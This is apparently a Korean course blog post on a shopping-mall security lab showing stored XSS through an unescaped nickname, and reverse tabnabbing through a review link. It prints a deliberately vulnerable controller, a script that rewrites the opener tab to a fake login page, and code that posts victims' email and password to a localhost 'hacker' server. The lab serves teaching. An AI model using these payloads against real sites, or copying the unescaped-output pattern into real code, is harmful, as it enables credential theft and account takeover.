[Day30] 쇼핑몰 실습 - XSS, Tabnabbing
[Day30] 쇼핑몰 실습 - XSS, Tabnabbing
XSS (Cross-Site Scripting) 취약점
XSS(크로스 사이트 스크립팅, Cross-Site Scripting)는 웹 보안 취약점 중 하나로, 공격자가 악성 스크립트를 웹사이트에 삽입하여 사용자의 브라우저에서 실행되도록 만드는 공격 기법
“사용자에게 친절해질수록 해커에게도 친절해질 수 있다!”
👉 보안을 위해 퉁명스러운 에러 메시지를 사용하는 것도 중요!
🔴 공격 시나리오
- 회원 가입 시
nickname
을 충분히 큰 사이즈(VARCHAR(500)
)로 설정하여 HTML 태그를 포함한 입력이 가능하도록 허용
1
2
3
alter table member
change column nickname
nickname varchar(500) not null unique;
- 기존에는 VARCHAR(50)으로 제한되어 있어 입력 길이가 초과되면 “DataIntegrityViolationException” 오류가 발생했음.
- 그러나 코드 상에서 예외 처리를 단순화하여, 중복된 닉네임 입력 시에도 동일한 예외 메시지가 반환됨.
- 이를 방지하기 위해 nickname 필드의 크기를 500으로 확장하여 긴 문자열 입력을 허용.
- 회원가입 후
nickname
을 그대로 반환하여 브라우저에서 렌더링됨.1 2 3 4 5 6 7 8 9 10 11 12 13
// MemberController.java @PostMapping("insertMember") public String insertMember(@RequestBody Member m) { System.out.println(m); try { memberService.insertMember(m); return m.getNickname()+"님 가입을 환영합니다"; } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); return "회원 가입 실패"; } }
- member.js에서 회원가입 성공 메세지를 적당한 위치에 출력한다
1
document.getElementById("effetMsg").innerHTML = response.data;
- 회원가입 시에 nickname에 다음과 같은 형태를 입력
사용자가 사이트를 방문하면 악성 스크립트 실행.
XSS 공격 흐름
1️⃣ 해커(Hacker)가 신뢰할 수 있는 웹사이트에 악성 스크립트를 삽입
- 공격자는 사용자가 입력할 수 있는 필드(닉네임, 댓글, 검색어 입력창)에 악성 JavaScript 코드를 삽입함.
- 예를 들어,
<script>alert('해커 등장');</script>
같은 스크립트가 그대로 저장될 경우, 해당 페이지를 방문하는 모든 사용자에게 실행됨
2️⃣ 피해자(Victim)가 웹사이트에 방문하면서 악성 스크립트가 실행됨
- 공격자가 삽입한 악성 코드가 포함된 웹페이지를 방문하는 순간, 피해자의 브라우저가 이 스크립트를 실행하게 됨
- 예를 들어, document.cookie를 통해 사용자의 로그인 세션 정보를 탈취할 수도 있음.
3️⃣ 피해자의 브라우저가 악성 스크립트를 실행하고, 해커에게 중요한 정보를 전송
- 피해자의 브라우저에서 실행된 스크립트가 세션 토큰, 쿠키, 입력 정보 등을 해커의 서버로 전송
- 해커는 이를 이용해 피해자로 가장하여 로그인할 수 있으며, 추가적인 공격(계정 탈취)이 가능해짐
Tabnabbing 공격
Tabnabbing은 피싱(Phishing) 공격의 한 유형으로, 사용자가 특정 사이트를 열어둔 상태에서 다른 탭으로 이동한 후 다시 원래 탭으로 돌아왔을 때, 해당 사이트가 해커의 가짜 사이트로 변경되는 공격 기법
공격 시나리오 세팅 : 리뷰 기능 구현
BACK
- review 테이블 생성 및 샘플 데이터 삽입
- MyBatis를 이용한 ReviewDao, ReviewService, ReviewController 구현
- getRecentReviews() 및 insertReview() API 제공
FRONT
- index.html: 리뷰 모달 창 (commentModal) 구현
- index.js: 제품 목록 및 리뷰 불러오기, 리뷰 작성 기능 추가
- getRecentReviews API 호출하여 최근 리뷰 가져옴
- insertReview API 호출하여 리뷰 작성
🔴 공격 시나리오
- 해커가 다음과 같은 악성 리뷰를 등록
1
<a href='http://localhost:9999/404.html' target='_blank'>맛있게 먹는 영상</a>
- 사용자가 해당 리뷰의 링크를 클릭하면
http://localhost:9999/404.html
로 이동.
404.html
파일의 JavaScript 코드가 실행되며, 원래 창의 URL을fake.html
로 변경1 2 3 4 5 6 7
<script> if(window.opener){ opener.location='http://localhost:9999/fake.html'; }else{ window.location='http://localhost:9999/fake.html'; } </script>
사용자가 fake.html에서 로그인 정보를 입력하도록 유도
가짜 로그인 페이지는 실제 로그인 페이지처럼 보이며, 사용자가 입력한
email
및password
를 해커 서버로 전송
1
2
3
4
5
6
7
8
9
document.getElementById("loginBtn").addEventListener("click", async () => {
const email = document.getElementById("email").value;
const pwd = document.getElementById("pwd").value;
let response = await fetch("http://localhost:9999/login", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ email, pwd }),
});
});
- 해커 서버(
MemberController.java
)에서 사용자의 로그인 정보를 탈취:1 2 3 4 5
@PostMapping("login") public void login(@RequestBody Member m) { System.out.println(m); System.out.println("탈취 완료"); }
END
This post is licensed under CC BY 4.0 by the author.